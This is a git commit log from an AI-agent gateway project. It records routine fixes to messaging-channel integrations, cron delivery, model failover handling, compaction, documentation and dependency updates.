- pnpm check
- pnpm test:macmini

Co-authored-by: Naylenv <45486779+Naylenv@users.noreply.github.com>
Co-authored-by: Octane0411 <88922959+Octane0411@users.noreply.github.com>
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 16:32:42 -06:00
Jacob Riff
aad372e15f feat: append UTC time alongside local time in shared Current time lines (#32423)
Merged via squash.

Prepared head SHA: 9e8ec13933
Co-authored-by: jriff <50276+jriff@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-06 01:26:34 +03:00
Altay
49acb07f9f fix(agents): classify insufficient_quota 400s as billing (#36783) 2026-03-06 01:17:48 +03:00
Vincent Koc
0c08e3f55f UI: hoist lifecycle connect test mocks (#36788) 2026-03-05 17:15:31 -05:00
Vincent Koc
999b7e4edf fix(ui): bump dompurify to 3.3.2 (#36781)
* UI: bump dompurify to 3.3.2

* Deps: refresh dompurify lockfile
2026-03-05 17:08:42 -05:00
Vincent Koc
98aecab7bd Docs: cover heartbeat, cron, and plugin route updates 2026-03-05 17:05:21 -05:00
Vincent Koc
2b45eb0e52 Docs: document Control UI locale support 2026-03-05 16:57:59 -05:00
Vincent Koc
6b2c115167 Docs: clarify OpenAI-compatible TTS endpoints 2026-03-05 16:57:51 -05:00
Vincent Koc
1d3962a000 Docs: update gateway config reference for Slack and TTS 2026-03-05 16:57:40 -05:00
Vincent Koc
837b7b4b94 Docs: add Slack typing reaction fallback 2026-03-05 16:57:31 -05:00
Altay
6859619e98 test(agents): add provider-backed failover regressions (#36735)
* test(agents): add provider-backed failover fixtures

* test(agents): cover more provider error docs

* test(agents): tighten provider doc fixtures
2026-03-06 00:42:59 +03:00
Rodrigo Uroz
036c329716 Compaction/Safeguard: add summary quality audit retries (#25556)
Merged via squash.

Prepared head SHA: be473efd16
Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 13:39:25 -08:00
jiangnan
029c473727 fix(failover): narrow service-unavailable to require overload indicator (#32828) (#36646)
Merged via squash.

Prepared head SHA: 46fb430612
Co-authored-by: jnMetaCode <12096460+jnMetaCode@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-06 00:01:57 +03:00
Altay
f014e255df refactor(agents): share failover HTTP status classification (#36615)
* fix(agents): classify transient failover statuses consistently

* fix(agents): preserve legacy failover status mapping
2026-03-05 23:50:36 +03:00
不做了睡大觉
8ac7ce73b3 fix: avoid false global rate-limit classification from generic cooldown text (#32972)
Merged via squash.

Prepared head SHA: 813c16f5af
Co-authored-by: stakeswky <64798754+stakeswky@users.noreply.github.com>
Co-authored-by: altaywtf <9790196+altaywtf@users.noreply.github.com>
Reviewed-by: @altaywtf
2026-03-05 22:58:21 +03:00
Sid
591264ef52 fix(agents): set preserveSignatures to isAnthropic in resolveTranscriptPolicy (#32813)
Merged via squash.

Prepared head SHA: f522d21ca5
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 11:55:06 -08:00
Byungsker
709dc671e4 fix(session): archive old transcript on daily/scheduled reset to prevent orphaned files (#35493)
Merged via squash.

Prepared head SHA: 0d95549d75
Co-authored-by: byungsker <72309817+byungsker@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 11:52:23 -08:00
Bin Deng
edc386e9a5 fix(ui): catch marked.js parse errors to prevent Control UI crash (#36445)
- Prevent Control UI session render crashes when `marked.parse()` encounters pathological recursive markdown by safely falling back to escaped `<pre>` output.
- Tighten markdown fallback regression coverage and keep changelog attribution in sync for this crash-hardening path.

Co-authored-by: Bin Deng <dengbin@romangic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 13:46:49 -06:00
Sid
6c0376145f fix(agents): skip compaction API call when session has no real messages (#36451)
Merged via squash.

Prepared head SHA: 52dd631789
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 11:40:25 -08:00
Kai
60a6d11116 fix(embedded): classify model_context_window_exceeded as context overflow, trigger compaction (#35934)
Merged via squash.

Prepared head SHA: 20fa77289c
Co-authored-by: RealKai42 <44634134+RealKai42@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 11:30:24 -08:00
Josh Avant
72cf9253fc Gateway: add SecretRef support for gateway.auth.token with auth-mode guardrails (#35094) 2026-03-05 12:53:56 -06:00
Tak Hoffman
bc66a8fa81 fix(feishu): avoid media regressions from global HTTP timeout (#36500)
* fix(feishu): avoid media regressions from global http timeout

* fix(feishu): source HTTP timeout from config

* fix(feishu): apply media timeout override to image uploads

* fix(feishu): invalidate cached client when timeout changes

* fix(feishu): clamp timeout values and cover image download
2026-03-05 12:13:40 -06:00
maweibin
09c68f8f0e add prependSystemContext and appendSystemContext to before_prompt_build (fixes #35131) (#35177)
Merged via squash.

Prepared head SHA: d9a2869ad6
Co-authored-by: maweibin <18023423+maweibin@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-05 13:06:59 -05:00
Liu Xiaopai
174eeea76c Feishu: normalize group slash command probing
- Feishu/group slash command detection: normalize group mention wrappers before command-authorization probing so mention-prefixed commands are recognized in group routing.\n- Source PR: #36011\n- Contributor: @liuxiaopai-ai\n\nCo-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>\nCo-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
2026-03-05 11:56:59 -06:00
Sid
995ae73d5f synthesis: fix Feishu group mention slash parsing
## Summary\n\nFeishu group slash command parsing is fixed for mentions and command probes across authorization paths.\n\nThis includes:\n- Normalizing bot mention text in group context for reliable slash detection in message parsing.\n- Adding command-probe normalization for group slash invocations.\n\nCo-authored-by: Sid Qin <sidqin0410@gmail.com>\nCo-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 11:34:08 -06:00
Sid
2972d6fa79 fix(feishu): accept groupPolicy "allowall" as alias for "open" (#36358)
* fix(feishu): accept groupPolicy "allowall" as alias for "open"

When users configure groupPolicy: "allowall" in Feishu channel config,
the Zod schema rejects the value and the runtime policy check falls
through to the allowlist path.  With an empty allowFrom array, all group
messages are silently dropped despite the intended "allow all" semantics.

Accept "allowall" at the schema level (transform to "open") and add a
runtime guard in isFeishuGroupAllowed so the value is handled even if it
bypasses schema validation.

Closes #36312

Made-with: Cursor

* Feishu: tighten allowall alias handling and coverage

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 11:32:01 -06:00
Tak Hoffman
89b303c553 Mattermost: switch plugin-sdk imports to scoped subpaths (openclaw#36480)
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 11:28:16 -06:00
StingNing
627b37e34f Feishu: honor bot mentions by ID despite aliases (Fixes #36317) (#36333) 2026-03-05 11:00:27 -06:00
Liu Xiaopai
b9f3f8d737 fix(feishu): use probed botName for mention checks (#36391) 2026-03-05 10:55:04 -06:00
Ayane
ba223c7766 fix(feishu): add HTTP timeout to prevent per-chat queue deadlocks (#36430)
When the Feishu API hangs or responds slowly, the sendChain never settles,
causing the per-chat queue to remain in a processing state forever and
blocking all subsequent messages in that thread. This adds a 30-second
default timeout to all Feishu HTTP requests by providing a timeout-aware
httpInstance to the Lark SDK client.

Closes #36412

Co-authored-by: Ayane <wangruofei@soulapp.cn>
2026-03-05 10:46:10 -06:00
Sid
8d48235d3a fix(browser): remove deprecated --disable-blink-features=AutomationControlled flag
- Removes OpenClaw's default `--disable-blink-features=AutomationControlled` Chrome launch switch to avoid unsupported-flag warnings in newer Chrome (#35721).
- Preserves compatibility for older Chrome via `browser.extraArgs` override behavior (source analysis: #35770, #35728, #35727, #35885).
- Synthesis attribution: thanks @Sid-Qin, @kevinWangSheng, @ningding97, @Naylenv, @clawbie.

Source PR refs: #35734, #35770, #35728, #35727, #35885

Co-authored-by: Sid-Qin <Sid-Qin@users.noreply.github.com>
Co-authored-by: kevinWangSheng <kevinWangSheng@users.noreply.github.com>
Co-authored-by: ningding97 <ningding97@users.noreply.github.com>
Co-authored-by: Naylenv <Naylenv@users.noreply.github.com>
Co-authored-by: clawbie <clawbie@users.noreply.github.com>
Co-authored-by: Takhoffman <Takhoffman@users.noreply.github.com>
2026-03-05 09:22:47 -06:00
Tony Dehnke
136ca87f7b feat(mattermost): add interactive buttons support (#19957)
Merged via squash.

Prepared head SHA: 8a25e60872
Co-authored-by: tonydehnke <36720180+tonydehnke@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-05 20:14:57 +05:30
Tak Hoffman
9741e91a64 test(cron): add cross-channel announce fallback regression coverage (openclaw#36197)
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on pre-existing origin/main lint debt in extensions/mattermost imports)
- pnpm test:macmini

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 07:37:37 -06:00
Tak Hoffman
544abc927f fix(cron): restore direct fallback after announce failure in best-effort mode (openclaw#36177)
Verified:
- pnpm build
- pnpm check (fails on pre-existing origin/main lint debt in extensions/mattermost imports)
- pnpm test:macmini

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 07:25:24 -06:00
Vincent Koc
4dc0c66399 fix(subagents): strip leaked [[reply_to]] tags from completion announces (#34503)
* fix(subagents): strip reply tags from completion delivery text

* test(subagents): cover reply-tag stripping in cron completion sends

* changelog: note iMessage reply-tag stripping in completion announces

* Update CHANGELOG.md

* Apply suggestion from @greptile-apps[bot]

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-03-05 07:50:55 -05:00
Joseph Turian
e5b6a4e19d Mattermost: honor onmessage mention override and add gating diagnostics tests (#27160)
Merged via squash.

Prepared head SHA: 6cefb1d5bf
Co-authored-by: turian <65918+turian@users.noreply.github.com>
Co-authored-by: mukhtharcm <56378562+mukhtharcm@users.noreply.github.com>
Reviewed-by: @mukhtharcm
2026-03-05 17:59:54 +05:30
Sid
06ff25cce4 fix(feishu): check response.ok before calling response.json() in streaming card (#35628)
Merged via squash.

Prepared head SHA: 62c3fec80d
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-05 01:58:21 -08:00
青雲
c522154771 docs(telegram): recommend allowlist for single-user DM policy (#34841)
* docs(telegram): recommend allowlist for single-user bots

* docs(telegram): condense single-user allowlist note

---------

Co-authored-by: echoVic <echovic@163.com>
2026-03-05 11:39:19 +03:00
Bob
6a705a37f2 ACP: add persistent Discord channel and Telegram topic bindings (#34873)
* docs: add ACP persistent binding experiment plan

* docs: align ACP persistent binding spec to channel-local config

* docs: scope Telegram ACP bindings to forum topics only

* docs: lock bound /new and /reset behavior to in-place ACP reset

* ACP: add persistent discord/telegram conversation bindings

* ACP: fix persistent binding reuse and discord thread parent context

* docs: document channel-specific persistent ACP bindings

* ACP: split persistent bindings and share conversation id helpers

* ACP: defer configured binding init until preflight passes

* ACP: fix discord thread parent fallback and explicit disable inheritance

* ACP: keep bound /new and /reset in-place

* ACP: honor configured bindings in native command flows

* ACP: avoid configured fallback after runtime bind failure

* docs: refine ACP bindings experiment config examples

* acp: cut over to typed top-level persistent bindings

* ACP bindings: harden reset recovery and native command auth

* Docs: add ACP bound command auth proposal

* Tests: normalize i18n registry zh-CN assertion encoding

* ACP bindings: address review findings for reset and fallback routing

* ACP reset: gate hooks on success and preserve /new arguments

* ACP bindings: fix auth and binding-priority review findings

* Telegram ACP: gate ensure on auth and accepted messages

* ACP bindings: fix session-key precedence and unavailable handling

* ACP reset/native commands: honor fallback targets and abort on bootstrap failure

* Config schema: validate ACP binding channel and Telegram topic IDs

* Discord ACP: apply configured DM bindings to native commands

* ACP reset tails: dispatch through ACP after command handling

* ACP tails/native reset auth: fix target dispatch and restore full auth

* ACP reset detection: fallback to active ACP keys for DM contexts

* Tests: type runTurn mock input in ACP dispatch test

* ACP: dedup binding route bootstrap and reset target resolution

* reply: align ACP reset hooks with bound session key

* docs: replace personal discord ids with placeholders

* fix: add changelog entry for ACP persistent bindings (#34873) (thanks @dutifulbob)

---------

Co-authored-by: Onur <2453968+osolmaz@users.noreply.github.com>
2026-03-05 09:38:12 +01:00
Kai
2c8ee593b9 TTS: add baseUrl support to OpenAI TTS config (#34321)
Merged via squash.

Prepared head SHA: e9a10cf81d
Co-authored-by: RealKai42 <44634134+RealKai42@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-05 07:25:04 +00:00
Shakker
60849f3335 chore(pr): enforce changelog placement and reduce merge sync churn 2026-03-05 06:37:53 +00:00
Sid
3a6b412f00 fix(gateway): pass actual version to Control UI client instead of dev (#35230)
* fix(gateway): pass actual version to Control UI client instead of "dev"

The GatewayClient, CLI WS client, and browser Control UI all sent
"dev" as their clientVersion during handshake, making it impossible
to distinguish builds in gateway logs and health snapshots.

- GatewayClient and CLI WS client now use the resolved VERSION constant
- Control UI reads serverVersion from the bootstrap endpoint and
  forwards it when connecting
- Bootstrap contract extended with serverVersion field

Closes #35209

* Gateway: fix control-ui version version-reporting consistency

* Control UI: guard deferred bootstrap connect after disconnect

* fix(ui): accept same-origin http and relative gateway URLs for client version

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-05 00:01:34 -06:00
alexyyyander
c4dab17ca9 fix(gateway): prevent internal route leakage in chat.send
Synthesis of routing fixes from #35321, #34635, and #35356 for internal-client reply safety.

- Require explicit `deliver: true` before inheriting any external delivery route.
- Keep webchat/TUI/UI-origin traffic on internal routing by default.
- Allow configured-main session inheritance only for non-Webchat/UI clients, and honor `session.mainKey`.
- Add regression tests for UI no-inherit, configured-main CLI inherit, and deliver-flag behavior.

Co-authored-by: alexyyyander <alexyyyander@users.noreply.github.com>
Co-authored-by: Octane0411 <88922959+Octane0411@users.noreply.github.com>
Co-authored-by: Linux2010 <35169750+Linux2010@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-04 23:57:35 -06:00
Sid
463fd4735e fix(agents): guard context pruning against malformed thinking blocks (#35146)
Merged via squash.

Prepared head SHA: a196a565b1
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-05 05:52:24 +00:00
不做了睡大觉
8891e1e48d fix(web-ui): render Accounts schema node properly (#35380)
Co-authored-by: stakeswky <64798754+stakeswky@users.noreply.github.com>
Co-authored-by: liuxiaopai-ai <73659136+liuxiaopai-ai@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-04 23:50:18 -06:00
Sid
d9b69a6145 fix(agents): guard promoteThinkingTagsToBlocks against malformed content entries (#35143)
Merged via squash.

Prepared head SHA: 3971122f5f
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-05 05:37:33 +00:00
Sid
ce0c13191f fix(agents): decode HTML entities in xAI/Grok tool call arguments (#35276)
Merged via squash.

Prepared head SHA: c4445d2938
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-05 05:32:39 +00:00
Sid
987e473364 fix(agents): detect Venice provider proxying xAI/Grok models for schema cleaning (#35355)
Merged via squash.

Prepared head SHA: 8bfdec257b
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
2026-03-05 05:29:25 +00:00
Shakker
1805735c63 chore(changelog): add dedupe note openclaw#27521 thanks @shivama205 2026-03-05 05:11:06 +00:00
Shakker
b5a94d274b style(skills): align formatting cleanup for dedupe changes 2026-03-05 05:11:06 +00:00
Shivam
fb4f52b710 style: fix formatting in skill-commands.test.ts and provider.ts
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-05 05:11:06 +00:00
Shivam
48decefbf4 fix(skills): deduplicate slash commands by skillName across all interfaces
Move skill-command deduplication by skillName from the Discord-only
`dedupeSkillCommandsForDiscord` into `listSkillCommandsForAgents` so
every interface (TUI, Slack, text) consistently sees a clean command
list without platform-specific workarounds.

When multiple agents share a skill with the same name the old code
emitted `github` + `github_2` and relied on Discord to collapse them.
Now `listSkillCommandsForAgents` returns only the first registration
per skillName, and the Discord-specific wrapper is removed.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-05 05:11:06 +00:00
Shakker
5d5fa0dac8 fix(pr): make review claim step required 2026-03-05 04:53:32 +00:00
Harold Hunt
4bd3469324 refactor(telegram): remove unused webhook callback helper (#27816) 2026-03-05 10:10:09 +05:30
Tak Hoffman
cc5dad81bc cron: unify stale-run recovery and preserve manual-run every anchors (#35363)
* cron: unify stale-run recovery and preserve manual every anchors

* cron: address unresolved review threads on recovery paths

* cron: remove duplicate timestamp helper after rebase
2026-03-04 22:12:32 -06:00
Tak Hoffman
28dc2e8a40 cron: narrow startup replay backoff guard (#35391) 2026-03-04 22:11:11 -06:00
Tak Hoffman
79d00ae398 fix(cron): stabilize restart catch-up replay semantics (#35351)
* Cron: stabilize restart catch-up replay semantics

* Cron: respect backoff in startup missed-run replay
2026-03-04 21:50:16 -06:00
sline
1059b406a8 fix: cron backup should preserve pre-edit snapshot (#35195) (#35234)
* fix(cron): avoid overwriting .bak during normalization

Fixes openclaw/openclaw#35195

* test(cron): preserve pre-edit bak snapshot in normalization path

---------

Co-authored-by: 0xsline <sline@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-04 21:46:27 -06:00
rexl2018
3bf6ed181e Feishu: harden streaming merge semantics and final reply dedupe (#33245)
* Feishu: close duplicate final gap and cover routing precedence

* Feishu: resolve reviewer duplicate-final and routing feedback

* Feishu: tighten streaming send-mode option typing

* Feishu: fix reverse-overlap streaming merge ordering

* Feishu: align streaming final dedupe test expectation

* Feishu: allow distinct streaming finals while deduping repeats

---------

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-04 21:32:35 -06:00
Sid
8b8167d547 fix(agents): bypass pendingDescendantRuns guard for cron announce delivery (#35185)
* fix(agents): bypass pendingDescendantRuns guard for cron announce delivery

Standalone cron job completions were blocked from direct channel delivery
when the cron run had spawned subagents that were still registered as
pending. The pendingDescendantRuns guard exists for live orchestration
coordination and should not apply to fire-and-forget cron announce sends.

Thread the announceType through the delivery chain and skip both the
child-descendant and requester-descendant pending-run guards when the
announce originates from a cron job.

Closes #34966

* fix: ensure outbound session entry for cron announce with named agents (#32432)

Named agents may not have a session entry for their delivery target,
causing the announce flow to silently fail (delivered=false, no error).

Two fixes:
1. Call ensureOutboundSessionEntry when resolving the cron announce
   session key so downstream delivery can find channel metadata.
2. Fall back to direct outbound delivery when announce delivery fails
   to ensure cron output reaches the target channel.

Closes #32432

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: guard announce direct-delivery fallback against suppression leaks (#32432)

The `!delivered` fallback condition was too broad — it caught intentional
suppressions (active subagents, interim messages, SILENT_REPLY_TOKEN) in
addition to actual announce delivery failures.  Add an
`announceDeliveryWasAttempted` flag so the direct-delivery fallback only
fires when `runSubagentAnnounceFlow` was actually called and failed.

Also remove the redundant `if (route)` guard in
`resolveCronAnnounceSessionKey` since `resolved` being truthy guarantees
`route` is non-null.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(cron): harden announce synthesis follow-ups

---------

Co-authored-by: scoootscooob <zhentongfan@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-04 21:31:33 -06:00
Nhj
68e68bfb57 fix(feishu): use msg_type media for mp4 video (fixes #33674) (#33720)
* fix(feishu): use msg_type media for mp4 video (fixes #33674)

* Feishu: harden streaming merge semantics and final reply dedupe

Use explicit streaming update semantics in the Feishu reply dispatcher:
treat onPartialReply payloads as snapshot updates and block fallback payloads
as delta chunks, then merge final text with the shared overlap-aware
mergeStreamingText helper before closing the stream.

Prevent duplicate final text delivery within the same dispatch cycle, and add
regression tests covering overlap snapshot merge, duplicate final suppression,
and block-as-delta behavior to guard against repeated/truncated output.

* fix(feishu): prefer message.reply for streaming cards in topic threads

* fix: reduce Feishu streaming card print_step to avoid duplicate rendering

Fixes openclaw/openclaw#33751

* Feishu: preserve media sends on duplicate finals and add media synthesis changelog

* Feishu: only dedupe exact duplicate final replies

* Feishu: use scoped plugin-sdk import in streaming-card tests

---------

Co-authored-by: 倪汉杰0668001185 <ni.hanjie@xydigit.com>
Co-authored-by: zhengquanliu <zhengquanliu@bytedance.com>
Co-authored-by: nick <nickzj@qq.com>
Co-authored-by: linhey <linhey@mini.local>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-04 20:39:44 -06:00
Madoka
63ce7c74bd fix(feishu): comprehensive reply mechanism — outbound replyToId forwarding + topic-aware reply targeting (#33789)
* fix(feishu): comprehensive reply mechanism fix — outbound replyToId forwarding + topic-aware reply targeting

- Forward replyToId from ChannelOutboundContext through sendText/sendMedia
  to sendMessageFeishu/sendMarkdownCardFeishu/sendMediaFeishu, enabling
  reply-to-message via the message tool.

- Fix group reply targeting: use ctx.messageId (triggering message) in
  normal groups to prevent silent topic thread creation (#32980). Preserve
  ctx.rootId targeting for topic-mode groups (group_topic/group_topic_sender)
  and groups with explicit replyInThread config.

- Add regression tests for both fixes.

Fixes #32980
Fixes #32958
Related #19784

* fix: normalize Feishu delivery.to before comparing with messaging tool targets

- Add normalizeDeliveryTarget helper to strip user:/chat: prefixes for Feishu
- Apply normalization in matchesMessagingToolDeliveryTarget before comparison
- This ensures cron duplicate suppression works when session uses prefixed targets
  (user:ou_xxx) but messaging tool extract uses normalized bare IDs (ou_xxx)

Fixes review comment on PR #32755

(cherry picked from commit fc20106f16)

* fix(feishu): catch thrown SDK errors for withdrawn reply targets

The Feishu Lark SDK can throw exceptions (SDK errors with .code or
AxiosErrors with .response.data.code) for withdrawn/deleted reply
targets, in addition to returning error codes in the response object.

Wrap reply calls in sendMessageFeishu and sendCardFeishu with
try-catch to handle thrown withdrawn/not-found errors (230011,
231003) and fall back to client.im.message.create, matching the
existing response-level fallback behavior.

Also extract sendFallbackDirect helper to deduplicate the
direct-send fallback block across both functions.

Closes #33496

(cherry picked from commit ad0901aec1)

* feishu: forward outbound reply target context

(cherry picked from commit c129a691fcf552a1cebe1e8a22ea8611ffc3b377)

* feishu extension: tighten reply target fallback semantics

(cherry picked from commit f85ec610f267020b66713c09e648ec004b2e26f1)

* fix(feishu): align synthesized fallback typing and changelog attribution

* test(feishu): cover group_topic_sender reply targeting

---------

Co-authored-by: Xu Zimo <xuzimojimmy@163.com>
Co-authored-by: Munem Hashmi <munem.hashmi@gmail.com>
Co-authored-by: bmendonca3 <bmendonca3@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-03-04 20:32:28 -06:00
Isis Anisoptera
432e0222dd fix: restore auto-reply system events timeline (#34794) (thanks @anisoptera) (#34794)
Co-authored-by: Ayaan Zaidi <zaidi@uplause.io>
2026-03-05 07:56:14 +05:30
Shakker
498948581a docs(changelog): document dependency security fixes 2026-03-05 02:05:16 +00:00
Shakker
4d06c909d2 fix(deps): bump tar to 7.5.10 2026-03-05 02:00:18 +00:00
Ho Lim
da0e245db6 fix(security): avoid prototype-chain account path checks (#34982)
Merged via squash.

Prepared head SHA: f89cc6a649
Co-authored-by: HOYALIM <166576253+HOYALIM@users.noreply.github.com>
Co-authored-by: dvrshil <81693876+dvrshil@users.noreply.github.com>
Reviewed-by: @dvrshil
2026-03-04 17:38:09 -08:00
Shakker
809f9513ac fix(deps): patch hono transitive audit vulnerabilities 2026-03-04 23:34:36 +00:00
Darshil
ed05810d68 fix: add spanish locale support (#35038) (thanks @DaoPromociones) 2026-03-04 15:29:52 -08:00
Darshil
b3fb881a73 fix: finalize spanish locale support 2026-03-04 15:29:52 -08:00
Vincent Koc
9c6847074d Changelog: add gateway restart health entry (#34874) 2026-03-04 15:44:02 -05:00
Vincent Koc
8c5692ac4a Changelog: add daemon systemd user-bus fallback entry (#34884) 2026-03-04 15:44:02 -05:00
青雲
96021a2b17 fix: align AGENTS.md template section names with post-compaction extraction (#25029) (#25098)
Merged via squash.

Prepared head SHA: 8cd6cc8049
Co-authored-by: echoVic <16428813+echoVic@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-04 12:16:00 -08:00
Kai
4242c5152f agents: preserve totalTokens on request failure instead of using contextWindow (#34275)
Merged via squash.

Prepared head SHA: f9d111d0a7
Co-authored-by: RealKai42 <44634134+RealKai42@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-04 12:02:22 -08:00
Vincent Koc
53b2479eed Fix Linux daemon install checks when systemd user bus env is missing (#34884)
* daemon(systemd): fall back to machine user scope when user bus is missing

* test(systemd): cover machine scope fallback for user-bus errors

* test(systemd): reset execFile mock state across cases

* test(systemd): make machine-user fallback assertion portable

* fix(daemon): keep root sudo path on direct user scope

* test(systemd): cover sudo root user-scope behavior

* ci: use resolvable bun version in setup-node-env
2026-03-04 11:54:03 -08:00
Rodrigo Uroz
df0f2e349f Compaction/Safeguard: require structured summary headings (#25555)
Merged via squash.

Prepared head SHA: 0b1df34806
Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com>
Reviewed-by: @jalehman
2026-03-04 10:54:42 -08:00
Vincent Koc
2b98cb6d8b Fix gateway restart false timeouts on Debian/systemd (#34874)
* daemon(systemd): target sudo caller user scope

* test(systemd): cover sudo user scope commands

* infra(ports): fall back to ss when lsof missing

* test(ports): verify ss fallback listener detection

* cli(gateway): use probe fallback for restart health

* test(gateway): cover restart-health probe fallback
2026-03-04 10:52:33 -08:00
Shakker
4cc293d084 fix(review): enforce behavioral sweep validation 2026-03-04 18:49:36 +00:00
Shakker
2123265c09 chore(changelog): clarify outbound media-only fallback openclaw#32788 thanks @liuxiaopai-ai 2026-03-04 18:42:21 +00:00
Shakker
698c200eba fix(outbound): fail media-only text-only adapter fallback 2026-03-04 18:42:21 +00:00
Shakker
a970cae2da chore(changelog): align outbound adapter entry openclaw#32788 thanks @liuxiaopai-ai 2026-03-04 18:42:21 +00:00
liuxiaopai-ai
bb07b2b93a Outbound: avoid empty multi-media fallback sends 2026-03-04 18:42:21 +00:00
liuxiaopai-ai
efdf2ca0d7 Outbound: allow text-only plugin adapters 2026-03-04 18:42:21 +00:00
Shakker
e6f0203ef3 chore(changelog): add PR entry openclaw#24337 thanks @echoVic 2026-03-04 16:39:54 +00:00
Shakker
7531a3e30a test(ollama): add default header precedence coverage 2026-03-04 16:39:54 +00:00
echoVic
7597fc556c fix(ollama): pass provider headers to Ollama stream function (#24285)
createOllamaStreamFn() only accepted baseUrl, ignoring custom headers
configured in models.providers.<provider>.headers. This caused 403
errors when Ollama endpoints are behind reverse proxies that require
auth headers (e.g. X-OLLAMA-KEY via HAProxy).

Add optional defaultHeaders parameter to createOllamaStreamFn() and
merge them into every fetch request. Provider headers from config are
now passed through at the call site in the embedded runner.

Fixes #24285
2026-03-04 16:39:54 +00:00
Gustavo Madeira Santana
76bfd9b5e6 Agents: add generic poll-vote action support 2026-03-04 11:36:14 -05:00
Sid
c8ebd48e0f fix(node-host): sync rawCommand with hardened argv after executable path pinning (#33137)
Merged via squash.

Prepared head SHA: a7987905f7
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-03-04 11:30:33 -05:00
a
4fb40497d4 fix(daemon): handle systemctl is-enabled exit 4 (not-found) on Ubuntu (#33634)
Merged via squash.

Prepared head SHA: 67dffc3ee2
Co-authored-by: Yuandiaodiaodiao <33371662+Yuandiaodiaodiao@users.noreply.github.com>
Co-authored-by: shakkernerd <165377636+shakkernerd@users.noreply.github.com>
Reviewed-by: @shakkernerd
